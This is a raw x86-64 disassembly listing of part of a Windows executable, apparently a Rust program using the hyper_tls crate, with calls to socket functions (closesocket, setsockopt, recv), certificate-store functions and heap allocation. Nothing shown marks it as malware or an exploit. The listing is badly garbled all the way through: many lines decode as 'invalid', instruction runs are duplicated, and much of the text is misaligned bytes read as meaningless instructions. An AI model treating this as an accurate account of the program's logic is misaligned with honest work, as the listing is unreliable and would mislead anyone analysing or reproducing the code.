mov qword [rsi + 0x18], rax
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov byte [rbp - 1], 1
mov ecx, 1
mov edx, setsockopt
call fcn.140186620
jmp 0x1401202cc
mov qword [rbp - 0x10], rbx
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 8
call fcn.140186620
ud2
nop
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x56], dl
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
lea rcx, [rbp - 0x20]
loopne case.0x1401132c0.315
cmpsb byte [rsi], byte [rdi]
add esi, edx
call qword [rax + 0x28c48348]
loopne case.0x1401132c0.315
cmpsb byte [rsi], byte [rdi]
add esi, edx
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rbp, [rdx + 0x40]
mov rcx, qword [rbp - 0x10]
call fcn.140029350
nop
invalid
inc esi
inc dword [r8]
inc dword [rax]
nop
invalid
add byte [rax - 0x7d], cl
invalid
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
cmp byte [rbp - 1], 0
je 0x140120350
lea rcx, [rbp - 0x18]
call fcn.140040690
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
cmp eax, 4
jne 0x1401204bb
movzx eax, byte [rcx + 0x110]
cmp eax, 3
je 0x140120435
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 0x18850fc0], al
add dword [rax], eax
add byte [rax - 0x75], cl
mov ecx, dword [rcx + 0xb8]
add rsp, 0x40
test eax, eax
jne 0x1401204bb
mov rcx, qword [rcx + 0xb8]
mov ecx, dword [rcx + 0xb8]
add byte [rax], al
add rsp, 0x40
pop rbp
jmp qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rax], al
add byte [rax], al
cmp eax, 3
je 0x14012045f
test eax, eax
jne 0x1401204bb
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xor byte [r8 - 0x7d], cl
invalid
mov rcx, qword [rcx + 0x30]
add rsp, 0x40
pop rbp
jmp qword [sym.imp.WS2_32.dll_closesocket]
out dx, eax
invalid
invalid
out dx, eax
invalid
sbb dword [rax + 0x48000000], 0xfe84589
mov dh, 0x81
add byte [rcx], 0
add byte [rbx + 0x1a7403f8], al
cmp eax, 3
je 0x14012040f
cmp eax, 3
je 0x14012040f
test eax, eax
jne 0x140120499
pushfq
add byte [rax], al
invalid
pushfq
add byte [rax], al
add byte [rax - 0x75], cl
mov dword [rax], ebp
add dword [rax], eax
add bh, bh
adc eax, 0x6ef3e
invalid
mov rcx, qword [rcx + 0x128]
call qword [sym.imp.WS2_32.dll_closesocket]
invalid
add cl, ch
mov al, byte [rax]
add byte [rax], al
jmp 0x140120499
movzx eax, byte [rcx + 0x178]
cmp eax, 3
mov qword [rbp - 0x10], rcx
je 0x140120482
test eax, eax
jne 0x14012048e
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x138]
call fcn.140109d50
jmp 0x14012048e
movzx eax, byte [rcx + 0x108]
mov dh, 0x81
or byte [rcx], al
add byte [rax], al
cmp eax, 3
mov qword [rbp - 0x10], rcx
je 0x1401204c1
test eax, eax
jne 0x1401204cd
invalid
ror byte [rdi], 0x85
add byte [rax], 0
add byte [rax - 0x75], cl
invalid
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0xc8]
call fcn.140109d50
jmp 0x1401204cd
invalid
movzx eax, byte [rcx + 0x80]
cmp eax, 3
add ecx, dword [rax - 0x77]
invalid
invalid
add ecx, dword [rax - 0x77]
invalid
je 0x1401204a7
test eax, eax
jne 0x1401204b0
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x40]
call fcn.140109d50
cwde
invalid
invalid
jmp 0x1401204b0
cwde
invalid
invalid
add rcx, 0x148
call fcn.140108d10
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov byte [rax + 0x181], 0
add dword [rcx], 0x48000000
mov ecx, dword [rbp - 0x18]
mov rcx, qword [rbp - 0x18]
add rsp, 0x40
pop rbp
jmp fcn.14006b990
mov ah, 0xf4
invalid
mov ah, 0xf4
dec dword [rax - 0x7d]
rcl dword [rax - 0x18], 0x60
mov dh, bh
dec dword [rax - 0x75]
invalid
add rcx, 0x50
call fcn.140108d10
mov rax, qword [rbp - 0x10]
mov byte [rax + 0x89], 0
add rsp, 0x40
pop rbp
ret
add rcx, 0xd8
call fcn.140108d10
mov rax, qword [rbp - 0x10]
mov byte [rax + 0x111], 0
add rsp, 0x40
pop rbp
ret
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
mov byte [rax + 0x89], 0
add rsp, 0x20
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
push 0x40
push 0x40
mov rax, qword [rbp - 0x10]
mov byte [rax + 0x181], 0
add rsp, 0x20
and byte [rbp - 0x3d], bl
and byte [rbp - 0x3d], bl
nop
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
invalid
mov byte [rax + 0x111], 0
adc byte [rcx], 1
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
and byte [rbp - 0x3d], bl
invalid
adc byte [rcx], 1
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
in al, dx
and byte [rax - 0x73], cl
push 0x40
mov rcx, qword [rbp - 0x18]
call fcn.14006b990
nop
add rsp, 0x20
pop rbp
ret
invalid
invalid
and dword [rax - 0x7d], ecx
js 0x1401205c9
adc dword [rdx + 4], esi
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
add rsp, 0x38
pop rsi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
add byte [rax + 0x38c48348], dl
pop rsi
pop rbp
ret
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
call fcn.140005270
nop
add rsp, 0x28
pop rsi
pop rbp
ret
int3
ror byte [rdi], 0x84
adc al, 0x97
invalid
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp], 0xfffffffffffffffe
mov r8, qword [rcx]
test r8, r8
invalid
je 0x1401206cb
sal byte [rax + riz*2 + 0x48], 0x89
invalid
mov rsi, rcx
cmp qword [rcx + 8], 0
je 0x140120684
invalid
cmovs ecx, dword [rbx + 0x11bbdc0d]
add byte [rcx], dh
sar bh, cl
adc eax, 0x6e9a4
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsi + 0x10]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x1401206cb
mov rax, qword [rsi + 0x18]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
call qword [rax]
mov rax, qword [rbp - 8]
cmp qword [rax + 8], 0
mov r8, qword [rbp - 0x10]
je 0x1401206cb
cmp qword [rax + 0x10], 0x11
jb 0x1401206b5
invalid
add al, 0x4d
mov eax, dword [rax - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
pushfq
mov ebx, 0xd2310011
add rsp, 0x38
pop rsi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x38
pop rsi
pop rbp
ret
invalid
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
push 0x30
in al, dx
sub byte [rax - 0x73], cl
push 0x30
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
call fcn.140005270
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rsi
pop rbp
ret
adc byte [rbp + 0x481a75c0], al
mov dword [rcx], 3
mov qword [rcx], 3
movups xmm0, xmmword [rdx]
movups xmmword [rcx + 8], xmm0
invalid
invalid
or r14b, al
adc byte [rcx], al
adc byte [rcx], al
mov byte [rdx + 0x10], 1
adc byte [rcx], al
mov rax, rcx
add rsp, 0x28
ret
or eax, 0x983ae
scasb al, byte [rdi]
or dword [rcx], 0
or dword [rax], eax
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs
mov edx, 0x23
call fcn.140186b70
sbb eax, 0xf000664
invalid
sbb eax, 0xf000664
or ecx, dword [rax - 0x73]
or eax, 0x983c4
or dword [rax], eax
or dword [rax], eax
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs
int 0xd8
or dword [rax], eax
mov edx, 0x22
and al, byte [rax]
add byte [rax], al
call fcn.140186b70
ud2
invalid
push rbp
push r15
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xea8
in al, dx
test al, 0xe
invalid
add byte [rax], al
in al, dx
test al, 0xe
invalid
add byte [rax], al
invalid
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xe20], 0xfffffffffffffffe
test dword [rax], esp
invalid
add byte [rax], al
invalid
invalid
invalid
dec dword [rbp - 0x77]
invalid
mov rdi, rdx
mov edi, edx
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
invalid
mov edi, edx
mov rsi, rcx
movzx eax, byte [rdx + 0x49]
lea rcx, [0x1401ef82c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
enter 0xffffffffffff8948, 0xffffffffffffff95
adc byte [rsi], cl
add byte [rax], al
enter 0xffffffffffff8948, 0xffffffffffffff95
xchg ebp, eax
adc byte [rsi], cl
add byte [rax], al
jmp rax
mov byte [rdi + 0x4a], 0
mov rdx, qword [rdi + 0x20]
push rdi
and byte [rax - 0x75], cl
sub byte [r8 - 0x77], r9b
push rdi
push rax
push rdi
and byte [rax - 0x75], cl
sub byte [r8 - 0x77], r9b
push rdi
push rax
mov qword [rdi + 0x58], rax
jmp 0x1401207d8
mov rdx, qword [rdi + 0x50]
mov rax, qword [rdi + 0x58]
lea rcx, [rbp + 0xa70]
or al, byte [rax]
add byte [rbp - 0x77], cl
call 0xc32a58e5
push rax
sbb byte [rbx + 0xa70bd], al
add byte [rbx], al
or al, byte [rax]
add byte [rbp - 0x77], cl
call 0xc32a58e5
push rax
sbb byte [rbx + 0xa70bd], al
add byte [rbx], al
jne 0x14012083d
push rax
sbb byte [rbx + 0xa70bd], al
add byte [rbx], al
jne 0x14012083d
mov qword [rsi], 4
add al, 0
add byte [rax], al
mov al, 3
mov rdi, qword [rbp + 0xe10]
mov edi, dword [rbp + 0xe10]
mov edi, dword [rbp + 0xe10]
jmp 0x1401215b0
or eax, 0x8d480000
xchg dword [rax], esi
add eax, dword [rax]
add byte [rax], al
mov qword [rbp + 0xdf8], rax
invalid
invalid
push rdi
add byte [rax], al
lea rax, [rdi + 0x330]
add byte [rax], al
mov qword [rbp + 0xdf8], rax
lea r10, [rdi + 0x50]
push rax
push rax
movzx eax, byte [rdi + 0x330]
xor byte [rbx], al
add byte [rax], al
lea rcx, [0x1401ef840]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0xfffffffffffffff3
movq mm0, qword [rdi + 0x78]
invalid
movdqu xmm0, xmmword [rdi + 0x78]
js 0x14012087a
mov rax, qword [rdi + 0x88]
mov eax, dword [rdi + 0x88]
jmp 0x140120a3b
mov rax, qword [rbp + 0xa90]
mov qword [rbp + 0xbf0], rax
mov dword [rbp + 0xbf0], eax
nop
or al, byte [rax]
add byte [rax - 0x77], cl
mov dword [rbp + 0xbf0], eax
movups xmm0, xmmword [rbp + 0xa70]
mov dword [rbp + 0xbf0], eax
movups xmm0, xmmword [rbp + 0xa70]
movups xmm1, xmmword [rbp + 0xa80]
movaps xmmword [rbp + 0xbe0], xmm1
or byte [rdx], 0
add byte [rdi], cl
sub dword [rbp + 0xbe0], ecx
movaps xmmword [rbp + 0xbd0], xmm0
mov rax, qword [rbp + 0xe10]
mov rcx, qword [rax + 0x50]
push rax
push rax
mov rax, qword [rax + 0x58]
mov qword [rbp + 0xde8], rcx
mov qword [rbp + 0xdf8], rax
clc
or eax, 0x10ff0000
or eax, 0x89480000
test eax, edi
clc
clc
or eax, 0x10ff0000
adc byte [rax - 0x75], cl
test eax, edi
or eax, 0x83480000
js 0x140120899
invalid
mov rax, qword [rbp + 0xdf8]
cmp qword [rax + 8], 0
or byte [rax], al
or byte [rax], al
add byte [rdx + riz*2 + 0x48], dh
cmp dword [rax + 0x10], 0x11
je 0x1401208f6
cmp qword [rax + 0x10], 0x11
jae 0x1401208dc
mov r8, qword [rbp + 0xde8]
mov eax, dword [rbp + 0xde8]
jmp 0x1401208e7
lea r9, [rdi + 0x200]
lea ecx, [rdi + 0x200]
lea rdx, [rdi + 0x90]
lea edx, [rdi + 0x90]
movzx eax, byte [rdi + 0x200]
lea rcx, [0x1401ef850]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rbp + 0xde0], rdx
mov qword [rbp + 0xdd8], r10
or eax, 0x3ce90000
add al, byte [rax]
invalid
or eax, 0x3ce90000
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7b], cl
call 0x18d1208f1
mov eax, dword [rax - 8]
mov r8, qword [rbp + 0xde8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
add byte [rax - 0x75], cl
popfq
ror byte [rbx], 1
add byte [rax], al
mov rbx, qword [rbp + 0xbd0]
cmp rbx, 2
mov rdi, qword [rbp + 0xe10]
jne 0x140120981
lea r14, [rbp + 0xbd8]
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14012093d
mov r15, qword [rbp + 0xbd8]
mov rax, qword [rbp + 0xbe0]
movups xmm0, xmmword [rbp + 0xbe8]
movups xmmword [rbp + 0xca0], xmm0
test dword [rax - 0x39fffff4], esp
add qword [rax - 0x77], rcx
popfq
mov byte [rax + rax], cl
add byte [rcx + rcx*4 - 0x43], cl
mov dword [rbp + 0xc90], edi
test dword [rax - 0x39fffff4], esp
add qword [rax - 0x77], rcx
popfq
mov byte [rax + rax], cl
add byte [rcx + rcx*4 - 0x43], cl
mov dword [rbp + 0xc90], edi
mov qword [rbp + 0xc98], rax
invalid
jg 0x140120a01
mov dword [rbp + 0xc90], edi
mov qword [rbp + 0xc98], rax
cmp byte [rdi + 0x48], 0
add byte [rdi], cl
invalid
invalid
invalid
add byte [rax], al
add byte [rdi], cl
test byte [0x18c1209c7], ah
lea edx, [rdi + 0x50]
lea r10, [rdi + 0x50]
mov rcx, qword [rdi + 0x30]
mov rax, qword [rdi + 0x40]
mov byte [rdi + 0x4a], 0
mov rdx, qword [rbp + 0xca8]
add byte [rax - 0x75], cl
xchg ebp, eax
test al, 0xc
add byte [rax], al
mov qword [r10 + 0x20], rdx
mov rdx, qword [rbp + 0xc88]
add byte [rbx + rcx*4 - 0x7b], cl
nop
or al, 0
add byte [rbx + rcx*4 - 0x73], cl
cwde
or al, 0
add byte [rbp - 0x77], cl
adc byte [rbx + r9*4 - 0x73], cl
movabs al, byte [0x49184a894d00000c]
sbb byte [rcx - 0x77], cl
invalid
add byte [rbx + rcx*4 - 0x7b], cl
nop
or al, 0
add byte [rbx + rcx*4 - 0x73], cl
cwde
or al, 0
add byte [rbp - 0x77], cl
adc byte [rbx + r9*4 - 0x73], cl
movabs al, byte [0x49184a894d00000c]
sbb byte [rcx - 0x77], cl
invalid
sbb byte [rcx - 0x77], cl
adc cl, byte [rbp - 0x77]
or byte [rax - 0x77], cl
jg 0x140120a82
mov qword [r10 + 8], r8
mov qword [rdi + 0x78], rdi
mov qword [rdi + 0x80], rcx
mov qword [rdi + 0x88], rax
lea rdx, [rdi + 0x330]
add byte [rax], 0
add byte [rax - 0x77], cl
xchg dword [rax + 0x48000000], ecx
lea edx, [rdi + 0x330]
mov qword [rbp + 0xdf8], rdx
mov byte [rdi + 0x330], 0
movq xmm0, rdi
movq xmm1, rcx
punpcklqdq xmm0, xmm1
lea rdx, [rdi + 0x90]
mov rcx, qword [r10 + 0x20]
mov qword [rdi + 0xb0], rcx
xchg edi, eax
nop
add byte [rax], al
add byte [rcx - 0x75], cl
and byte [rax - 0x77], cl
invalid
movups xmm1, xmmword [r10]
movups xmm2, xmmword [r10 + 0x10]
movups xmmword [rdi + 0xa0], xmm2
movups xmmword [rdi + 0x90], xmm1
movdqu xmmword [rdi + 0xb8], xmm0
mov qword [rdi + 0xc8], rax
add byte [rax], al
add byte [rax], al
lea r9, [rdi + 0x200]
mov byte [rdi + 0x200], 0
mov qword [rbp + 0xdd8], r10
mov dword [rbp + 0xdd8], edx
mov byte [rdi + 0x201], 0
mov rax, qword [rdi + 0xc8]
mov qword [rbp + 0xaa8], rax
movups xmm0, xmmword [rdi + 0xb8]
movups xmmword [rbp + 0xa98], xmm0
mov rax, qword [rdx + 0x20]
mov qword [rbp + 0xa90], rax
movups xmm0, xmmword [rdx]
mov qword [rbp + 0xde0], rdx
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rbp + 0xa70], xmm0
movaps xmmword [rbp + 0xa80], xmm1
movaps xmm2, xmmword [rbp + 0xaa0]
movaps xmmword [rbp + 0x860], xmm2
movaps xmm3, xmmword [rbp + 0xa90]
movaps xmmword [rbp + 0x850], xmm3
movaps xmmword [rbp + 0x840], xmm1
lea eax, [rax + 8]
add byte [rax], al
movaps xmmword [rbp + 0x830], xmm0
movups xmmword [rdi + 0x238], xmm2
add al, byte [rax]
add byte [rdi], cl
adc dword [rdi + 0x228], ebx
add al, byte [rax]
add byte [rdi], cl
adc dword [rdi + 0x228], ebx
movups xmmword [rdi + 0x218], xmm1
movups xmmword [rdi + 0x208], xmm0
lea rax, [rdi + 0x208]
mov qword [rbp + 0xde8], rax
mov rax, qword [rdi + 0x208]
mov rcx, rdi
mov rdi, qword [rdi + 0x230]
mov r15, qword [rcx + 0x238]
mov r10, qword [rcx + 0x240]
mov qword [rcx + 0x208], 2
cmp rax, 2
je 0x140121d0e
movups xmm0, xmmword [rcx + 0x210]
movups xmm1, xmmword [rcx + 0x220]
movups xmmword [rbp + 0xc30], xmm1
movups xmmword [rbp + 0xc20], xmm0
mov qword [rbp + 0xc18], rax
mov qword [rbp + 0xc40], r13
mov qword [rbp + 0xcc8], 0
mov qword [rbp + 0xce0], 0
mov qword [rbp + 0xcb0], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0xcb8], xmm0
movzx eax, byte [rdi + 0x1c]
movzx edx, byte [rdi + 0x1d]
mov dh, 0x57
sbb eax, 0x80014a8d
cli
add al, 0xf
mov dh, 0xc9
mov dh, 0x57
sbb eax, 0x80014a8d
cli
add al, 0xf
mov dh, 0xc9
mov r8d, 4
add byte [rax], al
cmovae ecx, r8d
cmp dl, 5
cmove ecx, r8d
movzx ebx, cl
cmp al, 5
mov qword [rbp + 0xdd0], r9
mov qword [rbp + 0xe00], r10
jne 0x140120bef
lea r12, [0x1401b7ea8]
jmp 0x140120c0f
xor edx, edx
cmp cl, al
movzx eax, al
cmovb eax, edx
movzx eax, al
lea r12, [0x1401b7ea8]
add r12, rax
sub rbx, rax
je 0x140120fd5
mov r14, r13
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140120c3e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je case.0x14011d1d3.21
mov rcx, rax
mov qword [0x14023c258], rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je case.0x14011d1d3.21
mov r13, rax
mov rcx, r13
mov rdx, r12
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0xce0], r13
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0xce8], rbx
mov qword [rbp + 0xcf0], rbx
cmp qword [rdi], 0
mov r13, r14
je 0x140120cca
mov rcx, qword [rdi + 8]
mov byte [rbp + 0xe1d], 1
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rbp + 0xdf0], rax
lea rcx, [rbp + 0xcb0]
xor edx, edx
call fcn.140170b90
mov rax, qword [rbp + 0xcb0]
mov rcx, qword [rbp + 0xcc0]
mov rdx, qword [rbp + 0xdf0]
mov qword [rax + rcx*8], rdx
inc rcx
mov qword [rbp + 0xcc0], rcx
mov byte [rbp + 0xe1d], 1
lea rcx, [rbp + 0xcb0]
call fcn.140147ce0
mov rbx, rdx
test rax, rax
je 0x140120e06
mov byte [rbp + 0xe1c], 1
lea rcx, [rbp + 0xcb0]
call fcn.140111610
lea rcx, [rbp + 0xc18]
call fcn.140108d10
mov r15d, 2
mov rdi, rbx
mov rax, qword [rbp + 0xe10]
mov byte [rax + 0x201], 1
add byte [rax], al
add dword [rcx + rcx*4 - 0x48], ecx
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add dword [rcx + rcx*4 - 0x48], ecx
rol byte [rax], 1
add byte [rax], al
mov qword [rax + 0xd8], rdi
mov rdi, rax
mov qword [rax + 0xe0], rbx
movaps xmm0, xmmword [rbp + 0xba0]
movaps xmm1, xmmword [rbp + 0xbb0]
movups xmmword [rax + 0xe8], xmm0
movups xmmword [rax + 0xf8], xmm1
mov rax, qword [rbp + 0xbc0]
mov qword [rdi + 0x108], rax
mov qword [rdi + 0x110], 0
lea r14, [rdi + 0x118]
lea rdx, [rbp + 0x630]
mov r8d, 0xe8
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rdi + 0x208], 2
je 0x140120dd5
mov rax, qword [rbp + 0xdf8]
mov qword [rbp + 0xdc8], rax
mov rax, qword [rbp + 0xdd8]
mov qword [rbp + 0xdc0], rax
mov rax, qword [rbp + 0xde0]
mov qword [rbp + 0xdb8], rax
mov rcx, qword [rbp + 0xde8]
call fcn.140108d10
mov rdi, qword [rbp + 0xe10]
mov r15, qword [rdi + 0xd0]
mov edi, 0xd0
mov edi, 0xd0
test r15, r15
je 0x140120f67
lea rdx, [rdi + 0xd8]
cmp r15, 1
jne 0x140120fc7
mov r8d, 0x128
mov rcx, qword [rbp + 0xde8]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140121025
mov qword [rbp + 0xd00], rbx
mov qword [rbp + 0xd60], 0
mov word [rbp + 0xda0], 1
mov qword [rbp + 0xd78], 0
mov qword [rbp + 0xd50], 0
mov qword [rbp + 0xd88], 0
mov rcx, qword [rdi + 0x10]
mov byte [rbp + 0xe1f], 1
mov byte [rbp + 0xe1e], 1
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rbp + 0xdf0], rax
cmp qword [rbp + 0xd50], 0
je 0x140120e7a
add byte [rax - 0x75], cl
test eax, esi
or eax, 0x89480000
test dword [rax + 0xd], ebx
add byte [rax], al
mov byte [rbp + 0xe1f], 1
mov byte [rbp + 0xe1e], 1
lea rcx, [rbp + 0xd50]
mov rdx, r15
mov r8, qword [rbp + 0xe00]
call fcn.140147f90
movzx eax, byte [rdi + 0x18]
mov byte [rbp + 0xda0], al
movzx ecx, byte [rdi + 0x19]
mov byte [rbp + 0xda1], cl
cmp byte [rdi + 0x1a], 0
je 0x1401215ca
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140120f01
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140121dd8
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, reloc.WS2_32.dll_recv
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140121dd8
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, qword [rbp + 0xd78]
lea rdi, [0x1401bdc58]
test rcx, rcx
je 0x14012167f
lock dec qword [rcx]
jne 0x14012167f
mov qword [rbp + 0xe00], rax
mov rcx, qword [rbp + 0xd78]
mov rdx, qword [rbp + 0xd80]
call fcn.14006cb50
jmp 0x140121678
add al, ch
out dx, al
mov ebx, 0x11e9fff4
invalid
mov r12, qword [rdi + 0xd8]
mov rbx, qword [rdi + 0xe0]
lahf
loopne 0x140120f73
add byte [rax], al
lahf
loopne 0x140120f73
add byte [rax], al
mov r15, qword [rdi + 0xe8]
mov rax, qword [rdi + 0x100]
mov qword [rbp + 0xc60], rax
movups xmm0, xmmword [rdi + 0xf0]
xchg eax, esi
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0xc50], eax
xchg eax, esi
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0xc50], eax
mov rax, qword [rdi + 0x108]
mov qword [rbp + 0xde8], rax
mov r13, qword [rdi + 0x110]
add dword [rax], eax
add byte [rax - 0x77], cl
test eax, ebp
or eax, 0x8b4c0000
scasd eax, dword [rdi]
adc byte [rcx], al
add byte [rax], al
lea rcx, [rbp + 0x430]
mov r8d, 0xe8
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140121232
mov rbx, qword [rdx]
mov r12d, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
jmp 0x140121239
mov r14, r13
mov r13d, 1
xor ebx, ebx
jmp 0x140120c55
lea rax, [rbp + 0xc98]
mov byte [rdi + 0x4a], 0
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0xc80], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xc70], xmm0
test dword [rax + 0xc], esi
add byte [rax], al
test dword [rax + 0xc], esi
add byte [rax], al
mov r12d, 2
jmp 0x14012143c
mov qword [rbp + 0xdd0], r9
mov qword [rbp + 0xde0], rdx
mov qword [rbp + 0xdd8], r10
lea rax, [rdi + 0x208]
mov qword [rbp + 0xe00], rax
mov rcx, rdi
mov rdi, qword [rdi + 0x208]
mov qword [rcx + 0x208], 2
cmp rdi, 2
je 0x140121d73
lea rax, [rcx + 0x210]
lea r14, [rcx + 0x248]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmmword [rbp + 0x928], xmm2
movups xmmword [rbp + 0x918], xmm1
movups xmmword [rbp + 0x908], xmm0
lea rcx, [rbp + 0x940]
mov r8d, 0xe8
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x900], rdi
mov qword [rbp + 0x938], r13
lea rcx, [rbp + 0xa70]
lea rdx, [rbp + 0x900]
call fcn.1401229e0
cmp qword [rbp + 0xa70], 0
je 0x1401210e3
mov byte [rdi + 0x201], 0
mov byte [rdi + 0x201], 0
mov rax, qword [rbp + 0xc60]
mov qword [rbp + 0x890], rax
movaps xmm0, xmmword [rbp + 0xc50]
movaps xmmword [rbp + 0x880], xmm0
lea rcx, [rbp + 0x90]
lea rdx, [rbp + 0x430]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
invalid
add dh, al
xchg dword [rax], eax
add al, byte [rax]
add byte [rcx], al
cmp r12, 3
je 0x14012159d
mov rax, qword [rbp + 0x890]
mov qword [rbp + 0x8f0], rax
movaps xmm0, xmmword [rbp + 0x880]
movaps xmmword [rbp + 0x8e0], xmm0
lea rdi, [rbp - 0x58]
lea rdx, [rbp + 0x90]
mov r8d, 0xe8
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0xdf8]
mov byte [rax], 1
add dword [rax - 0x75], ecx
test eax, esi
or byte [rax], al
add byte [rax - 0x77], cl
test eax, edx
or byte [rax], al
add byte [rdi], cl
sub byte [rbp + 0x8e0], al
movaps xmmword [rbp + 0x8c0], xmm0
lea rcx, [rbp + 0x260]
mov r8d, 0xe8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
cmp r12, 2
jne 0x1401213f9
mov qword [rbp + 0xa70], rbx
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
mov rdi, qword [rbp + 0xe10]
jne 0x14012133a
mov r8, qword [rdi + 0x30]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsi], r12
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r15
movaps xmm0, xmmword [rbp + 0x8a0]
movups xmmword [rsi + 0x18], xmm0
mov rax, qword [rbp + 0x8b0]
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x30], r14
mov qword [rsi + 0x38], r13
lea rcx, [rsi + 0x40]
lea rdx, [rbp + 0x178]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov al, 1
jmp 0x1401215b0
add byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 0x8d0]
mov qword [rbp + 0xc80], rax
movaps xmm0, xmmword [rbp + 0x8c0]
movaps xmmword [rbp + 0xc70], xmm0
jo 0x14012141f
add byte [rax], al
jo 0x14012141f
add byte [rax], al
lea rcx, [rbp + 0x348]
lea rdx, [rbp + 0x260]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov rdi, qword [rbp + 0xe10]
add byte [rax - 0x73], cl
